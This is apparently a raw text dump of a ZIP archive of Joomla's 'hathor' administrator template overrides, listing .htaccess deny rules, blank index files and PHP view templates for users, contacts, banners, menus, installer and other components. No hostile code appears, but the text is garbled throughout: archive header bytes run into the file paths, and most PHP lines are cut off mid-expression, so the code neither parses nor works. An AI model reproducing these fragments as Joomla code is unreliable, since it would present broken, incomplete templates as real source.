              PK@y>\)7templates/hathor/html/com_languages/installed/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V8templates/hathor/html/com_languages/installed/index.htmlnuW+A PK@y>\)-templates/hathor/html/com_languages/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)7templates/hathor/html/com_languages/languages/.htaccessnuW+A Order allow,deny Deny from all PK@y>\PvTT9templates/hathor/html/com_languages/languages/default.phpnuW+Aget('id'); $n = count($this->items); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_languages'); $saveOrder = $listOrder == 'a.ordering'; ?>
              items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $canCreate = $user->authorise('core.create', 'com_languages'); $canEdit = $user->authorise('core.edit', 'com_languages'); $canChange = $user->authorise('core.edit.state', 'com_languages'); ?>
              items, 'filesave.png', 'languages.saveorder'); ?>
              pagination->getRowOffset($i); ?> lang_id); ?> escape($item->title); ?> escape($item->title); ?> escape($item->title_native); ?> escape($item->lang_code); ?> escape($item->sef); ?> escape($item->image); ?> published, $i, 'languages.', $canChange);?> pagination->orderUpIcon($i, true, 'languages.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, true, 'languages.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, true, 'languages.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, true, 'languages.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> home == '1') : ?> escape($item->lang_id); ?>
              pagination->getListFooter(); ?>
              PK@y>\V8templates/hathor/html/com_languages/languages/index.htmlnuW+A PK@y>\V.templates/hathor/html/com_languages/index.htmlnuW+A PK@y>\)*templates/hathor/html/com_config/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V+templates/hathor/html/com_config/index.htmlnuW+A PK@y>\)6templates/hathor/html/com_config/application/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Ctemplates/hathor/html/com_config/application/default_navigation.phpnuW+A
              PK@y>\V7templates/hathor/html/com_config/application/index.htmlnuW+A PK@y>\V5templates/hathor/html/com_users/debuggroup/index.htmlnuW+A PK@y>\)4templates/hathor/html/com_users/debuggroup/.htaccessnuW+A Order allow,deny Deny from all PK@y>\X6templates/hathor/html/com_users/debuggroup/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              actions as $key => $action) : ?> items as $i => $item) : ?> actions as $action) : ?> checks[$name]; if ($check === true) : $class = 'check-a'; $text = '✓'; elseif ($check === false) : $class = 'check-d'; $text = '✗'; elseif ($check === null) : $class = 'check-0'; $text = '-'; else : $class = ''; $text = ' '; endif; ?>
              escape($item->title); ?> |—', $item->level) ?> escape($item->name); ?> lft; ?> - rgt; ?> id; ?>
              pagination->getListFooter(); ?>
              PK@y>\)0templates/hathor/html/com_users/groups/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Xf2templates/hathor/html/com_users/groups/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); JText::script('COM_USERS_GROUPS_CONFIRM_DELETE'); ?>
              items as $i => $item) : $canCreate = $user->authorise('core.create', 'com_users'); $canEdit = $user->authorise('core.edit', 'com_users'); // If this group is super admin and this user is not super admin, $canEdit is false if (!$user->authorise('core.admin') && (JAccess::checkGroup($item->id, 'core.admin'))) { $canEdit = false; } $canChange = $user->authorise('core.edit.state', 'com_users'); ?>
              id); ?> |—', $item->level) ?> escape($item->title); ?> escape($item->title); ?> user_count ? $item->user_count : ''; ?> id; ?>
              pagination->getListFooter(); ?>
              PK@y>\V1templates/hathor/html/com_users/groups/index.htmlnuW+A PK@y>\t5templates/hathor/html/com_users/debuguser/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              actions as $key => $action) : ?> items as $i => $item) : ?> actions as $action) : ?> checks[$name]; if ($check === true) : $class = 'check-a'; $text = '✓'; elseif ($check === false) : $class = 'check-d'; $text = '✗'; elseif ($check === null) : $class = 'check-0'; $text = '-'; else : $class = ''; $text = ' '; endif; ?>
              escape($item->title); ?> |—', $item->level) ?> escape($item->name); ?> lft; ?> - rgt; ?> id; ?>
              pagination->getListFooter(); ?>
              PK@y>\V4templates/hathor/html/com_users/debuguser/index.htmlnuW+A PK@y>\)3templates/hathor/html/com_users/debuguser/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V*templates/hathor/html/com_users/index.htmlnuW+A PK@y>\))templates/hathor/html/com_users/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0templates/hathor/html/com_users/users/index.htmlnuW+A PK@y>\ /templates/hathor/html/com_users/users/modal.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              state->get('filter.group_id')); ?>
              items as $item) : ?> pagination->getListFooter(); ?>
              PK@y>\)/templates/hathor/html/com_users/users/.htaccessnuW+A Order allow,deny Deny from all PK@y>\rW!!1templates/hathor/html/com_users/users/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $loggeduser = JFactory::getUser(); ?>
              items as $i => $item) : $canEdit = $canDo->get('core.edit'); $canChange = $loggeduser->authorise('core.edit.state', 'com_users'); // If this group is super admin and this user is not super admin, $canEdit is false if ((!$loggeduser->authorise('core.admin')) && JAccess::check($item->id, 'core.admin')) { $canEdit = false; $canChange = false; } ?>
              id); ?>
              note_count, $item->id); ?> note_count, $item->id); ?> id); ?>
              escape($item->name); ?> escape($item->name); ?>
              escape($item->username); ?> id != $item->id) : ?> block, 'users.unblock', 'users.block'); ?> block, 'users.block', null); ?> block ? 'JNO' : 'JYES'); ?> activation, 'users.activate', null); ?> group_names, "\n") > 1) : ?> group_names); ?> escape($item->email); ?> lastvisitDate!='0000-00-00 00:00:00'):?> lastvisitDate, 'Y-m-d H:i:s'); ?> registerDate, 'Y-m-d H:i:s'); ?> id; ?>
              loadTemplate('batch'); ?> pagination->getListFooter(); ?>
              PK@y>\V1templates/hathor/html/com_users/levels/index.htmlnuW+A PK@y>\)0templates/hathor/html/com_users/levels/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ 2templates/hathor/html/com_users/levels/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_users'); $saveOrder = $listOrder == 'a.ordering'; ?>
              items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $canCreate = $user->authorise('core.create', 'com_users'); $canEdit = $user->authorise('core.edit', 'com_users'); $canChange = $user->authorise('core.edit.state', 'com_users'); ?>
              items, 'filesave.png', 'levels.saveorder'); ?>  
              id); ?> escape($item->title); ?> escape($item->title); ?> pagination->orderUpIcon($i, true, 'levels.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, true, 'levels.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, true, 'levels.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, true, 'levels.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" title="title; ?> order" /> ordering; ?> id; ?>  
              pagination->getListFooter(); ?>
              PK@y>\V0templates/hathor/html/com_users/notes/index.htmlnuW+A PK@y>\(O3RR1templates/hathor/html/com_users/notes/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canEdit = $user->authorise('core.edit', 'com_users'); ?>
              items as $i => $item) : ?> authorise('core.edit.state', 'com_users'); ?>
              id); ?> checked_out) : ?> editor, $item->checked_out_time); ?> escape($item->user_name); ?> escape($item->user_name); ?> subject) : ?> escape($item->subject); ?> catid && $item->cparams->get('image')) : ?> cparams->get('image')); ?> escape($item->category_title); ?> state, $i, 'notes.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> review_time)) : ?> escape($item->review_time); ?> id; ?>
              pagination->getListFooter(); ?>
              PK@y>\)/templates/hathor/html/com_users/notes/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ᵁ;templates/hathor/html/com_contact/contact/edit_metadata.phpnuW+Aform->getFieldsets('metadata'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

              '.$this->escape(JText::_($fieldSet->description)).'

              '; endif; ?>
              label); ?>
              • form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
              • form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
              • form->getLabel('xreference'); ?> form->getInput('xreference'); ?>
              • form->getFieldset($name) as $field) : ?>
              • label; ?> input; ?>
              PK@y>\)3templates/hathor/html/com_contact/contact/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Og9templates/hathor/html/com_contact/contact/edit_params.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-params'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

              '.$this->escape(JText::_($fieldSet->description)).'

              '; endif; ?>
              label); ?>
                form->getFieldset($name) as $field) : ?>
              • label; ?> input; ?>
              PK@y>\V4templates/hathor/html/com_contact/contact/index.htmlnuW+A PK@y>\\w2templates/hathor/html/com_contact/contact/edit.phpnuW+A
              item->id) ? JText::_('COM_CONTACT_NEW_CONTACT') : JText::sprintf('COM_CONTACT_EDIT_CONTACT', $this->item->id); ?>
              • form->getLabel('name'); ?> form->getInput('name'); ?>
              • form->getLabel('alias'); ?> form->getInput('alias'); ?>
              • form->getLabel('user_id'); ?> form->getInput('user_id'); ?>
              • form->getLabel('catid'); ?> form->getInput('catid'); ?>
              • form->getLabel('published'); ?> form->getInput('published'); ?>
              • form->getLabel('access'); ?> form->getInput('access'); ?>
              • form->getLabel('ordering'); ?> form->getInput('ordering'); ?>
              • form->getLabel('featured'); ?> form->getInput('featured'); ?>
              • form->getLabel('language'); ?> form->getInput('language'); ?>
              • form->getLabel('id'); ?> form->getInput('id'); ?>
              form->getLabel('misc'); ?>
              form->getInput('misc'); ?>
              • form->getLabel('created_by'); ?> form->getInput('created_by'); ?>
              • form->getLabel('created_by_alias'); ?> form->getInput('created_by_alias'); ?>
              • form->getLabel('created'); ?> form->getInput('created'); ?>
              • form->getLabel('publish_up'); ?> form->getInput('publish_up'); ?>
              • form->getLabel('publish_down'); ?> form->getInput('publish_down'); ?>
              • item->modified_by) : ?>
              • form->getLabel('modified_by'); ?> form->getInput('modified_by'); ?>
              • form->getLabel('modified'); ?> form->getInput('modified'); ?>

              item->id) ? JText::_('COM_CONTACT_DETAILS') : JText::sprintf('COM_CONTACT_EDIT_DETAILS', $this->item->id); ?>

              • form->getLabel('image'); ?> form->getInput('image'); ?>
              • form->getLabel('con_position'); ?> form->getInput('con_position'); ?>
              • form->getLabel('email_to'); ?> form->getInput('email_to'); ?>
              • form->getLabel('address'); ?> form->getInput('address'); ?>
              • form->getLabel('suburb'); ?> form->getInput('suburb'); ?>
              • form->getLabel('state'); ?> form->getInput('state'); ?>
              • form->getLabel('postcode'); ?> form->getInput('postcode'); ?>
              • form->getLabel('country'); ?> form->getInput('country'); ?>
              • form->getLabel('telephone'); ?> form->getInput('telephone'); ?>
              • form->getLabel('mobile'); ?> form->getInput('mobile'); ?>
              • form->getLabel('fax'); ?> form->getInput('fax'); ?>
              • form->getLabel('webpage'); ?> form->getInput('webpage'); ?>
              • form->getLabel('sortname1'); ?> form->getInput('sortname1'); ?>
              • form->getLabel('sortname2'); ?> form->getInput('sortname2'); ?>
              • form->getLabel('sortname3'); ?> form->getInput('sortname3'); ?>
              loadTemplate('params'); ?> loadTemplate('metadata'); ?>
              PK@y>\)4templates/hathor/html/com_contact/contacts/.htaccessnuW+A Order allow,deny Deny from all PK@y>\i4templates/hathor/html/com_contact/contacts/modal.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              items as $i => $item) : ?> pagination->getListFooter(); ?>
              PK@y>\V5templates/hathor/html/com_contact/contacts/index.htmlnuW+A PK@y>\%$$6templates/hathor/html/com_contact/contacts/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_contact.category'); $saveOrder = $listOrder == 'a.ordering'; ?>
              items); foreach ($this->items as $i => $item) : $ordering = $listOrder == 'a.ordering'; $canCreate = $user->authorise('core.create', 'com_contact.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_contact.category.'.$item->catid); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canEditOwn = $user->authorise('core.edit.own', 'com_contact.category.'.$item->catid) && $item->created_by == $userId; $canChange = $user->authorise('core.edit.state', 'com_contact.category.'.$item->catid) && $canCheckin; $item->cat_link = JRoute::_('index.php?option=com_categories&extension=com_contact&task=edit&type=other&id='.$item->catid); ?>
              items, 'filesave.png', 'contacts.saveorder'); ?>
              id); ?> checked_out) : ?> editor, $item->checked_out_time, 'contacts.', $canCheckin); ?> escape($item->name); ?> escape($item->name); ?>

              escape($item->alias));?>

              linked_user)) : ?> linked_user;?> published, $i, 'contacts.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> featured, $i, $canChange); ?> category_title; ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'contacts.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($item->catid == @$this->items[$i+1]->catid), 'contacts.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'contacts.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($item->catid == @$this->items[$i+1]->catid), 'contacts.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" title="name; ?> order" /> ordering; ?> access_level; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
              loadTemplate('batch'); ?> pagination->getListFooter(); ?>
              PK@y>\V,templates/hathor/html/com_contact/index.htmlnuW+A PK@y>\)+templates/hathor/html/com_contact/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)*templates/hathor/html/com_search/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)3templates/hathor/html/com_search/searches/.htaccessnuW+A Order allow,deny Deny from all PK@y>\"5templates/hathor/html/com_search/searches/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canDo = SearchHelper::getActions(); ?>
              enabled) : ?> state->get('filter.results')) : ?>
              items as $i => $item) : ?>
               
              pagination->limitstart; ?> escape($item->search_term); ?> hits; ?> state->get('filter.results')) : ?> returns; ?>  
              pagination->getListFooter(); ?>
              PK@y>\V4templates/hathor/html/com_search/searches/index.htmlnuW+A PK@y>\V+templates/hathor/html/com_search/index.htmlnuW+A PK@y>\)5templates/hathor/html/com_installer/default/.htaccessnuW+A Order allow,deny Deny from all PK@y>\X;templates/hathor/html/com_installer/default/default_ftp.phpnuW+A
              ftp instanceof Exception): ?>

              ftp->getMessage()); ?>

              PK@y>\V6templates/hathor/html/com_installer/default/index.htmlnuW+A PK@y>\V5templates/hathor/html/com_installer/update/index.htmlnuW+A PK@y>\)4templates/hathor/html/com_installer/update/.htaccessnuW+A Order allow,deny Deny from all PK@y>\]p!!6templates/hathor/html/com_installer/update/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              showMessage) : ?> loadTemplate('message'); ?> ftp) : ?> loadTemplate('ftp'); ?> items)) : ?> items as $i=>$item): $client = $item->client_id ? JText::_('JADMINISTRATOR') : JText::_('JSITE'); ?>
              update_id); ?> name; ?> extension_id ? JText::_('COM_INSTALLER_MSG_UPDATE_UPDATE') : JText::_('COM_INSTALLER_NEW_INSTALL') ?> type) ?> version ?> folder != '' ? $item->folder : JText::_('COM_INSTALLER_TYPE_NONAPPLICABLE'); ?> detailsurl ?> infourl)) : ?>
              infourl;?>
              pagination->getListFooter(); ?>

              PK@y>\)6templates/hathor/html/com_installer/discover/.htaccessnuW+A Order allow,deny Deny from all PK@y>\n s8templates/hathor/html/com_installer/discover/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              showMessage) : ?> loadTemplate('message'); ?> ftp) : ?> loadTemplate('ftp'); ?> items)) : ?> items as $i => $item): ?>
              extension_id); ?> name; ?> type); ?> version != '' ? $item->version : ' '; ?> creationDate != '' ? $item->creationDate : ' '; ?> folder != '' ? $item->folder : JText::_('COM_INSTALLER_TYPE_NONAPPLICABLE'); ?> client; ?> author != '' ? $item->author : ' '; ?> extension_id ?>
              pagination->getListFooter(); ?>

              PK@y>\V7templates/hathor/html/com_installer/discover/index.htmlnuW+A PK@y>\V5templates/hathor/html/com_installer/manage/index.htmlnuW+A PK@y>\=templates/hathor/html/com_installer/manage/default_filter.phpnuW+A
              form->getFieldSet('select') as $field): ?> form->setFieldAttribute($field->fieldname, 'onchange', '', 'filters');?> hidden): ?> label; ?> input; ?>
              PK@y>\)4templates/hathor/html/com_installer/manage/.htaccessnuW+A Order allow,deny Deny from all PK@y>\o=__6templates/hathor/html/com_installer/manage/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              showMessage) : ?> loadTemplate('message'); ?> ftp) : ?> loadTemplate('ftp'); ?> loadTemplate('filter'); ?> items)) : ?> items as $i => $item): ?>
              extension_id); ?> name; ?> client; ?> element) : ?> X status, $i, $item->status < 2, 'cb'); ?> type); ?> version != '' ? $item->version : ' '; ?> creationDate != '' ? $item->creationDate : ' '; ?> author != '' ? $item->author : ' '; ?> folder != '' ? $item->folder : JText::_('COM_INSTALLER_TYPE_NONAPPLICABLE'); ?> extension_id ?>
              pagination->getListFooter(); ?>
              PK@y>\)-templates/hathor/html/com_installer/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V.templates/hathor/html/com_installer/index.htmlnuW+A PK@y>\)templates/hathor/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\),templates/hathor/html/com_redirect/.htaccessnuW+A Order allow,deny Deny from all PK@y>\^vv4templates/hathor/html/com_redirect/links/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              items as $i => $item) : $canCreate = $user->authorise('core.create', 'com_redirect'); $canEdit = $user->authorise('core.edit', 'com_redirect'); $canChange = $user->authorise('core.edit.state', 'com_redirect'); ?>
              id); ?> escape(str_replace(JURI::root(), '', $item->old_url)); ?> escape(str_replace(JURI::root(), '', $item->old_url)); ?> escape($item->new_url); ?> escape($item->referer); ?> created_date, JText::_('DATE_FORMAT_LC4')); ?> published, $i); ?> id; ?>
              pagination->getListFooter(); ?>
              items)) : ?> loadTemplate('addform'); ?>
              PK@y>\V3templates/hathor/html/com_redirect/links/index.htmlnuW+A PK@y>\)2templates/hathor/html/com_redirect/links/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V-templates/hathor/html/com_redirect/index.htmlnuW+A PK@y>\V templates/hathor/html/index.htmlnuW+A PK@y>\V,templates/hathor/html/com_banners/index.htmlnuW+A PK@y>\)+templates/hathor/html/com_banners/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)3templates/hathor/html/com_banners/clients/.htaccessnuW+A Order allow,deny Deny from all PK@y>\f 5templates/hathor/html/com_banners/clients/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              items as $i => $item) : $ordering = ($listOrder == 'ordering'); $canCreate = $user->authorise('core.create', 'com_banners'); $canEdit = $user->authorise('core.edit', 'com_banners'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_banners') && $canCheckin; ?>
              id); ?> checked_out) : ?> editor, $item->checked_out_time, 'clients.', $canCheckin); ?> escape($item->name); ?> escape($item->name); ?> contact;?> state, $i, 'clients.', $canChange);?> nbanners; ?> metakey; ?> purchase_type<0):?> state->params->get('purchase_type')));?> purchase_type);?> id; ?>
              pagination->getListFooter(); ?>
              PK@y>\V4templates/hathor/html/com_banners/clients/index.htmlnuW+A PK@y>\r1templates/hathor/html/com_banners/banner/edit.phpnuW+A PK@y>\)2templates/hathor/html/com_banners/banner/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V3templates/hathor/html/com_banners/banner/index.htmlnuW+A PK@y>\V3templates/hathor/html/com_banners/tracks/index.htmlnuW+A PK@y>\)2templates/hathor/html/com_banners/tracks/.htaccessnuW+A Order allow,deny Deny from all PK@y>\W}%%4templates/hathor/html/com_banners/tracks/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              state->get('filter.category_id');?>
              items as $i => $item) :?>
              name;?> client_name;?> category_title;?> track_type==1 ? JText::_('COM_BANNERS_IMPRESSION'): JText::_('COM_BANNERS_CLICK');?> count;?> track_date, JText::_('DATE_FORMAT_LC4').' H:i');?>
              pagination->getListFooter(); ?>
              PK@y>\)3templates/hathor/html/com_banners/banners/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V4templates/hathor/html/com_banners/banners/index.htmlnuW+A PK@y>\VR|(|(5templates/hathor/html/com_banners/banners/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_banners.category'); $saveOrder = $listOrder=='ordering'; ?>
              items as $i => $item) : $ordering = ($listOrder == 'ordering'); $item->cat_link = JRoute::_('index.php?option=com_categories&extension=com_banners&task=edit&type=other&cid[]='. $item->catid); $canCreate = $user->authorise('core.create', 'com_banners.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_banners.category.'.$item->catid); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canChange = $user->authorise('core.edit.state', 'com_banners.category.'.$item->catid) && $canCheckin; ?>
              items, 'filesave.png', 'banners.saveorder'); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?>
              id); ?> checked_out) : ?> editor, $item->checked_out_time, 'banners.', $canCheckin); ?> escape($item->name); ?> escape($item->name); ?>

              escape($item->alias));?>

              state, $i, 'banners.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> sticky, $i, $canChange);?> client_name;?> escape($item->category_title); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->catid == $item->catid), 'banners.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->catid == $item->catid), 'banners.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->catid == $item->catid), 'banners.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->catid == $item->catid), 'banners.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" title="name; ?> order" /> ordering; ?> impmade, $item->imptotal ? $item->imptotal : JText::_('COM_BANNERS_UNLIMITED'));?> clicks;?> - impmade ? 100 * $item->clicks/$item->impmade : 0);?> metakey; ?> purchase_type < 0):?> client_purchase_type > 0) ? JText::_('COM_BANNERS_FIELD_VALUE_'.$item->client_purchase_type) : JText::_('COM_BANNERS_FIELD_VALUE_'.$this->state->params->get('purchase_type')));?> purchase_type);?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
              pagination->getListFooter(); ?>
              loadTemplate('batch'); ?>
              PK@y>\W o 1templates/hathor/html/com_banners/client/edit.phpnuW+A
              item->id) ? JText::_('COM_BANNERS_NEW_CLIENT') : JText::sprintf('COM_BANNERS_EDIT_CLIENT', $this->item->id); ?>
              • form->getLabel('name'); ?> form->getInput('name'); ?>
              • form->getLabel('contact'); ?> form->getInput('contact'); ?>
              • form->getLabel('email'); ?> form->getInput('email'); ?>
              • get('core.edit.state')) : ?>
              • form->getLabel('state'); ?> form->getInput('state'); ?>
              • form->getLabel('purchase_type'); ?> form->getInput('purchase_type'); ?>
              • form->getLabel('track_impressions'); ?> form->getInput('track_impressions'); ?>
              • form->getLabel('track_clicks'); ?> form->getInput('track_clicks'); ?>
              • form->getLabel('id'); ?> form->getInput('id'); ?>
              item->id, array('useCookie'=>1)); ?>
                form->getFieldset('metadata') as $field): ?>
              • hidden): ?> label; ?> input; ?>
                form->getFieldset('extra') as $field): ?>
              • hidden): ?> label; ?> input; ?>
              PK@y>\V3templates/hathor/html/com_banners/client/index.htmlnuW+A PK@y>\)2templates/hathor/html/com_banners/client/.htaccessnuW+A Order allow,deny Deny from all PK@y>\jhO1templates/hathor/html/com_menus/menus/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              items as $i => $item) : $canCreate = $user->authorise('core.create', 'com_menus'); $canEdit = $user->authorise('core.edit', 'com_menus'); $canChange = $user->authorise('core.edit.state', 'com_menus'); ?>
              id); ?> escape($item->title); ?>

              ( id).' title='.$this->escape($item->description).'">'. $this->escape($item->menutype).''; ?>) escape($item->menutype)?>)

              count_published; ?> count_unpublished; ?> count_trashed; ?> id; ?>
              pagination->getListFooter(); ?>
              PK@y>\V0templates/hathor/html/com_menus/menus/index.htmlnuW+A PK@y>\)/templates/hathor/html/com_menus/menus/.htaccessnuW+A Order allow,deny Deny from all PK@y>\))templates/hathor/html/com_menus/.htaccessnuW+A Order allow,deny Deny from all PK@y>\).templates/hathor/html/com_menus/menu/.htaccessnuW+A Order allow,deny Deny from all PK@y>\cu $$-templates/hathor/html/com_menus/menu/edit.phpnuW+A PK@y>\V/templates/hathor/html/com_menus/menu/index.htmlnuW+A PK@y>\V/templates/hathor/html/com_menus/item/index.htmlnuW+A PK@y>\).templates/hathor/html/com_menus/item/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ӂe e 5templates/hathor/html/com_menus/item/edit_options.phpnuW+A form->getFieldsets('request'); if (!empty($fieldSets)) { $fieldSet = array_shift($fieldSets); $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MENUS_'.$fieldSet->name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), 'request-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

              '.$this->escape(JText::_($fieldSet->description)).'

              '; endif; ?>
                form->getFieldset('request') as $field) : ?> hidden) : ?>
              • label; ?> input; ?>
              • input; ?>
              form->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MENUS_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

              '.$this->escape(JText::_($fieldSet->description)).'

              '; endif; ?>
                form->getFieldset($name) as $field) : ?>
              • label; ?> input; ?>
              form->getFieldsets('associations'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MENUS_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

              '.$this->escape(JText::_($fieldSet->description)).'

              '; endif; ?>
                form->getFieldset($name) as $field) : ?>
              • label; ?> input; ?>
              PK@y>\,X((-templates/hathor/html/com_menus/item/edit.phpnuW+A PK@y>\V0templates/hathor/html/com_menus/items/index.htmlnuW+A PK@y>\)/templates/hathor/html/com_menus/items/.htaccessnuW+A Order allow,deny Deny from all PK@y>\R `,`,1templates/hathor/html/com_menus/items/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $ordering = ($listOrder == 'a.lft'); $canOrder = $user->authorise('core.edit.state', 'com_menus'); $saveOrder = ($listOrder == 'a.lft' && $listDirn == 'asc'); ?>
              menu_associations) ? $app->menu_associations : 0; if ($assoc): ?> items as $i => $item) : $orderkey = array_search($item->id, $this->ordering[$item->parent_id]); $canCreate = $user->authorise('core.create', 'com_menus'); $canEdit = $user->authorise('core.edit', 'com_menus'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id')|| $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_menus') && $canCheckin; ?> menu_associations) ? $app->menu_associations : 0; if ($assoc): ?>
              items, 'filesave.png', 'items.saveorder'); ?>
              id); ?> |—', $item->level-1) ?> checked_out) : ?> editor, $item->checked_out_time, 'items.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

              |—', $item->level-1) ?> type !='url') : ?> note)) : ?> escape($item->alias));?> escape($item->alias), $this->escape($item->note));?> type =='url' && $item->note) : ?> escape($item->note));?>

